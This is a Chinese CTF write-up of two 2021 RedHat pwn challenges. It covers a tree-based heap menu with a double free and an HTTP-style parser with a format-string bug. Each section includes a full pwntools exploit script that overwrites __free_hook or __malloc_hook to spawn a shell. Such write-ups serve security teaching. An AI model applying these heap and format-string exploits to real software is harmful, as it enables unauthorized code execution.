2021_redhet

  1. 1. manager
    1. 1.1. 题目分析
      1. 1.1.1. Insert
      2. 1.1.2. Delete
      3. 1.1.3. show
    2. 1.2. 解题思路
    3. 1.3. 坑点
    4. 1.4. exp
  2. 2. parser
    1. 2.1. 题目分析
    2. 2.2. 解题思路
    3. 2.3. exp

题目附件

manager

题目分析

一个菜单题,有Insert、Delete、Show功能,通过二叉树管理堆块

Insert

这里写了一点insert的流程(根节点主要画了右子叶,左子叶原理都是一样的)

总结来说,小的往左边放,大的往右边放,找到相等的就不放

Delete

大概可以分为四种情况

  • 清空的堆块没有左子叶,有右子叶

  • 清空的堆块没有右子叶,有左子叶

  • 清空的堆块没有右子叶,没有左子叶

  • 清空的堆块有右子叶,有左子叶,这个情况有点麻烦,但同时漏洞也出现在这里

漏洞出现在第四种情况

当右子叶的子叶存在左子叶时,就会释放该节点中我们自己申请的堆块,而最后面又会释放堆块(包括我们在里面申请的堆块),所以这种情况下就会出现double free的情况,布局如下:

这里有一些当时部分代码的分析情况可以参考(随便看看就好)

show

通过中(根)序遍历来显示堆块信息

解题思路

  • 通过特殊布局达到double free效果

  • 通过double free来利用tcache bins来实现任意地址读写

  • 改free_hook为system,通过释放包含‘/bin/sh’的堆块来getshell

坑点

  • 本题为旧版本的glibc-2.27,新版本的包含tcache bins的double free检测机制(可以参考之前写的360的lonelywolf),一开始在我的Ubuntu上折腾了好久,后面才考虑到可能是glibc版本原因,用patchelf来修改文件的glibc,文末会有相应的教程链接

  • 我觉得最困难的不是漏洞利用,而是代码审计,需要有一定的耐心一步步地分析完

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './chall'
main_arena = 0x3ebc40
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
elf=ELF(binary)
libc=elf.libc
def alloc(index,size,content):
io.sendlineafter('> ',b'1')
io.sendlineafter("key> ",str(index))
io.sendlineafter('len> ',str(size))
io.sendafter('content> ',content)

def show():#中(根)序遍历
io.sendlineafter('> ',b'3')


def free(index):
io.sendlineafter('> ',b'2')
io.sendlineafter("key> ",str(index))

alloc(0,0x500,b'a')
alloc(1,0x40,b'b')
#free(1)
free(0)
free(1)
alloc(5,0x500,b'a'*8)
show()
io.recvuntil(b'a'*8)
libc_base = u64(io.recvuntil(b'\x0a',drop='ture').ljust(8,b'\x00')) - 96 - main_arena
io.info("libc_base==>%#x",libc_base)
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
free(1)

alloc(9,0x50,b'a'*8)
alloc(6,0x40,b'a'*8)

alloc(12,0x40,b'a'*8)
#alloc(13,0x40,b'a'*8)
alloc(10,0x40,b'a'*8)

free(9)

alloc(14,0x40,p64(free_hook))
#gdb.attach(io,'b *$rebase(0x8d0)')
alloc(15,0x40,b'/bin/sh\x00')
alloc(16,0x40,p64(system))

free(15)
io.interactive()

![](2021-redhet/Untitled 7.png “”)

patchelf相应教程:https://blog.csdn.net/weixin_44864859/article/details/107237134

parser

题目分析

正常地接受字节,无溢出进入循环

主要是这个函数,会对数据进行筛选,过滤

发现漏洞,但需要一定的条件。下面是我对这个程序的分析过程

解题思路

  • 通过格式化字符串泄露地址

  • 改malloc_hook为one_gadget

  • 利用%100000c触发malloc/free,劫持程序控制流

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64')
binary='./chall'
main_arena = 0x3ebc40
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
e=ELF(binary)
one_gadget = [0x4f3d5,0x4f432,0x10a41c]
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

io.recvuntil('> ')
io.sendline('GET' + ' ' + '/' + ' ' +'HTTP/1.0'+ '\n' +'Content-Length' + ':' + '-1' + '\n'+ '\n'+'%p%12$p%211$p')
io.recvuntil('0x')
stack_base = int(io.recv(12).decode(),16)-0x5f
print(hex(stack_base))
io.recvuntil('0x')
stack = int(io.recv(12).decode(),16)
io.recvuntil('0x')
libc_base = int(io.recv(12).decode(),16) - libc.sym['__libc_start_main'] - 231
print(hex(stack))#stack + 0xe0
io.info("libc_base==>%#x",libc_base)
malloc_hook = libc.sym["__malloc_hook"] + libc_base
io.info("malloc_hook==>%#x",malloc_hook)
system = libc.sym["system"] + libc_base
one_gadget = one_gadget[2]+libc_base
gdb.attach(io,'b *$rebase(0x12C5)')
def write_addr(addr,bytes,n):
io.recvuntil('> ')
if bytes=='\0':
pay = b'%'+str(addr)+b'$hn'
else:
pay = b'%'+str(bytes).encode()+b'c'+b'%'+str(addr).encode()+b'$hn'
pay =pay.ljust(6+0x18,b'a')+p64(malloc_hook+n*2)
io.sendline(b'GET' + b' ' + b'/' + b' ' +b'HTTP/1.0'+ b'\n' +b'Content-Length' + b':' + b'-1' + b'\n'+ b'\n'+pay)


for i in range(3):

write_addr(24,(one_gadget>>(i*16))&0xffff,i)
io.recvuntil('> ')
io.sendline('GET' + ' ' + '/' + ' ' +'HTTP/1.0'+ '\n' +'Content-Length' + ':' + '-1' + '\n'+ '\n'+'%1000000c')
io.interactive()